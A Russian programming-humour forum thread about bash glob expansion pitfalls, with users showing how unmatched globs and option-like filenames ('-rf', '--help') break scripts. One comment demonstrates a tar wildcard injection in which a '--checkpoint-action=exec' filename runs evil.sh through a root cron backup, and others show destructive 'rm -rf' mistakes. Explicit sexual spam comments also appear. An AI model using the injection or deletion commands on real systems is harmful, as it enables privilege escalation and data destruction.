1. bash / Говнокод #13782

    −134

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #!/bin/bash
    for i in *.root
     do
        if [ ! -e "$i" ] # Проверка наличия файла.
         then
            echo "Файл $i не найден."; echo
            continue
        fi
    # ... etc ...

    Не, ну а вдруг

    Запостил: Stallman, 12 Сентября 2013

    Комментарии (70) RSS

    • > Не, ну а вдруг

      Вообще-то ваш любимый баш в случае отсутствия .root, занесет в i строку "*.root" так то!
      Ответить
      • А я впервые узнал об этой фиче только испытав ее на своей жопе...

        Скрипт искал рядом с собой tgz файлы, создавал папку с именем, полученным отрезанием расширения tgz, распаковывал туда архив, что-то там внутри обрабатывал, и удалял папку и сам архив. Все было бы красиво и безоблачно, если бы я не запустил скрипт вхолостую, без tgz файлов...

        for засунул в переменную *.tgz, после отрезания расширения получилась просто *, и скрипт, с достоинством настоящего самурая, вынес свой конфиг, свой лог и самого себя :)
        Ответить
        • > удалял папку и сам архив
          Эпично... Но подозреваю отсутствие двойных кавычек, некомильфо.

          Впрочем, shell вообще часто радует, особенно если захотеть написать с намеком на портабельность (тот же echo -e в убунте).

          Не так давно узнал, что shell-ы удаляют не только последний перевод строки, а все финальные. Забавно было получать realpath от file=$'smth\n' .

          <оффтоп>Кстати кто-нибудь в курсе чем мотивируют, что glob без совпадений не возвращает пустую строку? (как всякие nullglob в bash/zsh)
          Ответить
          • > подозреваю отсутствие двойных кавычек
            Ну естественно :) Пока гром не грянет, админ кавычки не поюзает.

            > тот же echo -e в убунте
            А что с ним не так?

            > glob без совпадений не возвращает пустую строку
            Ну например запускаем cat *.dat. Сейчас он говорит cat: "*.dat: No such file or directory". А с nullglob'ом будет "зависать" (читать с stdin'а). Сменили шило на мыло...
            Ответить
            • > Пришлось привлечь к делу сишку. Откуда он вообще появился? :)
              Случайно как-то, уже не помню, по-хорошему переименовать, конечно, надо. А тут стало интересно. (А вообще частенько из *.zip кириллица валится всякая хрень.)
              Внезапно, проще так: file=$'smth\n'; touch "$file" ($'\..' - башизм)

              > А что с ним не так?
              В dash/echo нет такой опции :) (по-крайней мере когда-то не было). http://pubs.opengroup.org/onlinepubs/009696799/utilities/echo.html :
              It is not possible to use echo portably across all POSIX systems unless both -n (as the first argument) and escape sequences are omitted. The printf utility can be used portably..
              (/bin/echo -е портируем в пределах gnu/coreutils, а вот встроенный - в пределах интерпретатора)

              > Сменили шило на мыло...
              Точно, просто почему-то я сидел на двух стульях: null - для внутренних, "" - для внешних. Но у "шила" еще один момент: литеральный "*.root" может существовать - в любом случае нужно фс дергать.
              Ответить
              • Ну еще вот такой вариант есть:

                - вообще прерывать исполнение при пустом глобе. И выводить "bash: *.dat: No such file or directory", даже не запуская саму программу.
                - а в for'е пусть nullglob будет всегда включен. Это, вроде как, единственное место, где допустимо и очень желательно раскрытие в ничто.
                Ответить
                • > вообще прерывать исполнение при пустом глобе
                  Тоже не айс: rm *.o *.old (а какие действительно есть - сразу не известно)

                  > желательно раскрытие в ничто
                  Ну конкретно для баша в массивах бы еще не помешало: arr=(*.root)
                  Ответить
                  • Имхо, сама идея делать скриптовый язык (аля *sh, bat/cmd), совместимый по синтаксису с командной строкой, далеко не самая удачная. Да, это помогает нубу быстро освоиться, и ваять простенькие скриптики на 5-10 строк банальной копипастой... Но вот потом, на более-менее серьезных скриптах, начинается жопа...
                    Ответить
                    • Почему-то у "неудачных" идей поразительная жизнеспособность. М.б. они не такие неудачные как кажется.
                      Ну по крайней мере логично написать один раз и сохранить ряд (пачку) инструкций в файл, и выполнять их.
                      Потом раз, стало много копипаста - нужен цикл.
                      Потом хочу небольшое ветвление, а то неудобно!
                      Потом эх! вот бы еще аргументы передавать.
                      Так тихо получили кашу из топораязык.
                      Ответить
                      • А потом изо всех щелей лезут косяки и костыли... И в итоге, чтобы писать более-менее надежный код на этом "простом и интуитивном языке", приходится учить гораздо больше, нежели на каком-нибудь "сложном и неудобном питоне".

                        Посмотри в моем комменте ниже сниппет про файл с именем -rf. Вот отличный пример того, к чему приводит "удобство".
                        Ответить
                        • Не. Ну это ж эволюционное развитие, когда каждый шаг делался ради фичи. Но без оглядки что получается в целом.

                          Кстати примерно тоже и в крестах. Отдельно от всего фича полезная, а в совокупности превращает язык в минное поле.

                          >ниже сниппет про файл с именем -rf
                          Видел. Это прекрасно.
                          Ответить
                          • функция для галочки. со всеми языками так
                            Ответить
                        • показать все, что скрытоОтсосу член парню из Владикавказа. Прут наглые хуястые самцы.

                          [email protected] (Спросить Тараса)
                          Ответить
                      • > Почему-то у "неудачных" идей поразительная жизнеспособность
                        Потому что они, как правило, очень хорошо удовлетворяют текущие потребности большинства (за счет неминуемого пиздеца в будущем, которое далеко и никого не волнует, пока не коснется их лично).

                        Если отойти от программирования, и взглянуть на тот же макдональдс, то мы увидим ту самую "неудачную идею с поразительной жизнеспособностью": толпы людей жрут фастфуд не думая о своем ожирении, ибо удобно ;)
                        Ответить
                        • Если фастфуд жрать нечасто, то не будет.

                          Относительно баша - его можно рассматривать не как хуевую версию перла/фитона, а как хорошую - бата.
                          Ответить
                          • > Если фастфуд жрать нечасто, то не будет.
                            Если баш юзать не для всего подряд, то все норм ;)

                            > как хорошую - бата.
                            Ну да, как пакетный файл для примитивных задач баш хорош.

                            > не как хуевую версию перла/фитона
                            А вот для более серьезного скриптинга, когда надо прочитать какой-то файл, бегать в цикле по директориям, юзать регулярки, баш становится очень неудобным. Если не знать и не учитывать все неожиданности и подвохи - код будет дырявым бажным говном. Если учитывать - длинной некрасивой портянкой намотанной на костыли, которая на обычных языках была бы короче и наглядней.

                            И да, баш сложен. Изучение всех этих тонкостей всяко занимает больше времени, чем изучение того же питона, который, за исключением пары мест, туп как пробка и логичен.

                            В общем у всего есть своя область. И у баша это написание небольших скриптов, не требующих особой надежности, на скорую руку.
                            Ответить
                            • >А вот для более серьезного скриптинга, когда надо прочитать какой-то файл, бегать в цикле по директориям, юзать регулярки, баш становится очень неудобным.

                              Та ну нах … даже поддержка функций есть
                              Ответить
                              • > даже поддержка функций есть
                                Из которых даже можно вернуть результат (через глобальную переменную).
                                Ответить
                  • Вот еще косяк нашел сейчас:
                    echo 1 > 1.txt
                    echo 1 > "-rf"
                    rm *
                    Ответить
                    • Доигрался:
                      $ echo 1 > "--help"
                      $ rm *
                      Usage: rm [OPTION]... FILE...
                      $ ls -l *
                      Usage: ls [OPTION]... [FILE]...
                      Кошмарный сон линуксоида ;)
                      Ответить
                      • У меня под cygwin rm ./-* излечил этот сон (или rm ./*, забрав с собой папку). Поскольку я не линуксоид/юниксоид, считаю сон не кошмарным :)
                        (т.е. если неюниксоид смог удалить печаль, то юниксоиду бояться нечего)
                        Ответить
                        • > считаю сон не кошмарным
                          Ну это потому что видел в первой строке, как создают файл. Без этого батхертов было бы больше. Как минимум пришлось бы вспоминать альтернативные способы получения списка файлов, или тупо запустить mc ;)
                          Ответить
                          • > это заставило бы вспомнить альтернативные способы получения списка файлов
                            Я сначала выполнил ls без параметров, чтобы убедиться, что у меня создан файл -rf или --help, чтобы приступить к написанию "ls *". Всё работало без альтернативных способов.
                            Ответить
                            • Ну ок, раз уж эт было скучно и надуманно, вот вам эскалация привилегий через быдлобэкапилку (коих тысячи):
                              $ # злобный буратино:
                              $ echo 1 > "--checkpoint-action=exec=\"export PATH=.;evil.sh\""
                              $ echo "echo profit" >evil.sh
                              $ chmod +x ./evil.sh
                              $ # быдлобекапилка по крону от рута:
                              $ tar -zcf path-to-backup.tgz *
                              profit
                              profit
                              profit
                              Ответить
                              • hotfix, дабы не чистить архив потом:
                                echo 1 > "--exclude=evil.sh"
                                Ответить
                                • Однако, подобную технику можно использовать как фичу - для индивидуального подхода к каждому каталогу.
                                  ООП + утиная типизация в ФС. Вместе с данными (1.txt, xxx.log, ...) хранятся методы (-что-то). Для некоторых каталогов перепределены методы ls, rm и т.д.
                                  Ответить
                                  • > подобную технику можно использовать как фичу
                                    Не получится. Все эти опции в кучу смешаются, и команды начнут выдавать ошибки о неизвестных опциях...

                                    А насчет переопределения методов для некоторых каталогов - fuse вам в руки.
                                    Ответить
                              • КАк эта хуйня работает?

                                // не прыщеблядь
                                Ответить
                                • > КАк эта хуйня работает?
                                  Звездочка раскрывается в список всех файлов, находящихся в каталоге. В результате имя файла "--checkpoint-action..." (да, в *nix'ах в именах файлов можно юзать любые символы помимо '\0' и '/') попадает в командную строку tar'а. Но т.к. автор быдлобекапилки не указал опцию -- чтобы tar понял, что дальше аргументов нет, tar парсит --checkpoint-action как опцию. Данная опция заставляет его выполнять некое действие каждый блок (10кб), в нашем случае это действие - произвольный код из evil.sh.

                                  Вот как-то так.
                                  Ответить
                                  • Бля, это гениально. Можно какого-нибудь админа подловить, который тар от привилегированного пользователя запустит.
                                    Ответить
                      • Только недавно с похожим сталкивался, что баш сам раскрывает маски, а виндовый шелл передаёт как есть, оставляя обработку масок на совести программы.

                        Честно говоря, подозреваю что в данном конкретном случае виндовый подход лучше. Хотя бы вот таких факапов не возникает.
                        Ответить
                        • Лол, написал комент и увидел твой, один в один.

                          Еще лучше было бы если бы список файлов передавался каким-то массивом.
                          Ответить
                      • Побочное действие линупсовых масок, которые разворачиваются шеллом? Под виндой они передаются программе, и она сама должна уметь с ними работать (поиск файлов вместо open()).

                        А вообще - достойно отдельного говнокода.
                        Ответить
                    • у многих программ есть ключ --, после которого всё считается файлами
                      Ответить
                      • $ touch ./--help
                        $ ls *
                        Использование: ls [КЛЮЧ]… [ФАЙЛ]…
                        Выдаёт информацию о ФАЙЛАХ (по умолчанию о текущем каталоге).
                        ....
                        $ ls -- *
                        --help
                        
                        ...
                        Ответить
                      • > есть ключ --
                        Само собой есть. Но сколько человек его юзает? :)

                        Как я и писал выше - кодить на баше просто и красиво ровно до тех пор, пока не требуется надежность и поддерживаемость. Иначе это геморрой с изучением тонкостей каждой команды и каждой синтаксической конструкции. Даже для простейших конструкций типа "для каждого файла в каталоге" или "заменить че-то на че-то регуляркой" нужно знать правильные идиомы.
                        Ответить
                        • Вот возьмем тот же питон. Как там пройти по всем текстовикам в баше? Да очень тупо:
                          for i in glob("*.txt"):
                              print i
                          Цикл не попытается выполниться с "*.txt", если нет файлов (в баше для этого надо знать идиому). Аргумент принта, внезапно, не распадется по пробелу (в баше для этого надо знать идиому). Принт не посчитает файл с именем "--help" своей опцией (в баше опять надо знать идиому, и прочесть ман по соотв. команде).
                          Ответить
                          • Выучить надо на порядки больше, чем в классических скриптовых языках. Код получается сложнее, длиннее.

                            Ну и где же эта хваленые простота и удобство баша? :)
                            Ответить
                            • лпп: в _баше_ есть nullglob

                              Вот вам "портабл":
                              find ! -name . -prune -name '*.txt' -printf '%f\n'

                              А в вашем питоне glob пропустит .якобы-так-и-задумано.txt
                              Ответить
                              • > nullglob
                                Который ломает к хуям все остальные команды с глоббингом, и нужно включать и выключать его перед каждым фором.

                                > А в вашем питоне glob пропустит .якобы-так-и-задумано.txt
                                Вы так говорите, как-будто башевский глоббинг их не пропускает ;)

                                Если надо хиддены - есть os.listdir + fnmatch, о которых, даже упоминается в доке по glob. Но часто хиддены и не надо обрабатывать, они же неспроста скрыты.

                                > find ! -name . -prune -name '*.txt' -printf '%f\n'
                                Ахуеть интуитивный способ.

                                Я же не говорю, что в шелл скриптах невозможно что-то реализовать. Нет, вполне реально. Просто на обычных скриптовых языках это пишется быстрее, и читается лучше.
                                Ответить
                                • Да, кстати, способ с find багует на файлах, имена которых содержат '\n'.
                                  Ответить
                                • > как-будто башевский глоббинг ..
                                  Дык и говорю: питон такой весь в белом, а как присмотришься - из посикса всякую дрянь тащит. Говорят, фича скрытых файлов возникла из за "оптимизации" ислючения "." и ".." из вывода ls.

                                  > способ с find багует
                                  Да вроде нет: он в зависимости от tty выводит либо "..?", либо честно, добавьте "| cat".
                                  Ответить
                                  • > Говорят, фича скрытых файлов возникла из за "оптимизации" ислючения "." и ".." из вывода ls
                                    Вполне возможно. А ".." всяко возникла из-за "оптимизации" первых файловых систем - чтобы в качестве айдишки каталога/файла юзать только одно число, и по нему легко было бы узнавать родительский каталог.

                                    > Да вроде нет
                                    Ну я вот тестил for i in твойкод; do echo "[$i]"; done. Имя файла с пробелом в имени разорвало пополам. Надо или IFS менять на \n, или юзать find + exec вместо for + find. Тогда работает.

                                    UPD: Рвет имена не с энтером, а с пробелом. А при IFS = \n начнет наоборот.
                                    Ответить
                                    • > Ну я вот тестил for
                                      Это "как бы" весь юз-кейс был: с for-ом и print-ом.
                                      Ответить
                          • Кстати, в питоне маска прыщеблядская, где ? означает один символ (в винде - 0 или 1). Сидел ночью и ебал себе мозги, почему у меня нихуя не работает.
                            Ответить
                    • > echo 1 > "-rf"

                      Пизне́с, насяйника!

                      Даже в ДОСе таких проблем не было!

                      Разворачивание масок шеллом не нужно.
                      Ответить
                      • Что значит даже, это прыщеизобретение. С одной стороны позволяет использовать маски без поддержки в софте, с другой стороны это.
                        Ответить
                        • Кстати, где это дерьмо появилось: в Юниксе или когда появился bash в Линуксе?

                          В ДОС это не протолкнули по счастливой случайности: длина командной строки была ограничена и больше пары десятков файлов туда бы не пролезло. В результате досовскому софту пришлось разворачивать маски, что и унаследовала Винда.
                          Ответить
                          • А хз.

                            Ну объективно говоря, шелл что в досе, что в винде всегда был говном. Так что можно сказать, что прыщешелл слишком гибкий, гибкий не там где надо.
                            Ответить
                        • Что есть удобно в шелле, но для скриптов - говнофича из разряда слабой типизации в языках программирования.
                          Ответить
          • > Забавно было получать realpath от file=$'smth\n'
            Я еле создал файл с переводом строки в имени. Пришлось привлечь к делу сишку. Откуда он вообще появился? :)

            P.S. Последнее время мне приходит в голову мысль, что баш не нужен. Если его юзать не читая манов, на интуиции, то ловится куча ошибок. А если читать маны и писать аккуратно - то проще юзать какой-нибудь питон или перл: в них хотя бы логика есть, а не только исторически сложившиеся читы.
            Ответить
            • > Я еле создал файл с переводом строки в имени. Пришлось привлечь к делу сишку. Откуда он вообще появился? :)
              tr в помощь, можно и не такое создать, даже пустую строку можно.
              Ответить
              • Можно работоспособную команду увидеть? Сгенерить строку можно и банальным эхом, а вот тач или перенаправление у меня этот энтер удаляли...
                Ответить
                • Так для этого даже tr не нужен, просто:
                  $ touch "foo
                  bar"
                  $ echo *

                  * ls не покажет перенос строки в имени файла по каким-то своим соображениям, скорее всего изза форматирования.
                  Ответить
                  • О, спасибо! Таким способом и в конце имени получается энтер вставить.
                    Ответить
            • Jedem das seine. С какого-то уровня сложности баш становится УГ, с какого-то и питон, и наступает мир ынтырпрайза.
              Ответить
          • <offtop>
            fclose(fopen("\x20\x5a\xd2\x89\x41\xd2\x89\x4c\xd2\x89\x47\xd2\x89\x4f\xd2\x89", "w"));
            </offtop>
            Ответить
            • Неправославно) : смутно помню, что такой кружок - старославянский коэффициент тысяч(?), сооствественно, вокруг кириллицы.
              Ответить
          • показать все, что скрытоОтсосу член парню из Владикавказа. Прут наглые хуястые самцы.

            [email protected] (Спросить Тараса)
            Ответить
        • Все прошли через эту школу жизни...
          Ответить
    • test.sh:
      mkdir $1
      # do something
      rm -rf $1/*

      root@server:~ # ./test.sh
      Ответить
      • Очередная версия патча Бармина?

        nvidia тоже когда-то неплохо потроллила юзеров примерно такой командой:
        rm -rf /usr/lib /nvidia
        Ответить
    • показать все, что скрытоИщу партнёра для секса. Есть своя квартира. Анал, орал, группа. Пиши мне на [email protected]
      Ответить

    Добавить комментарий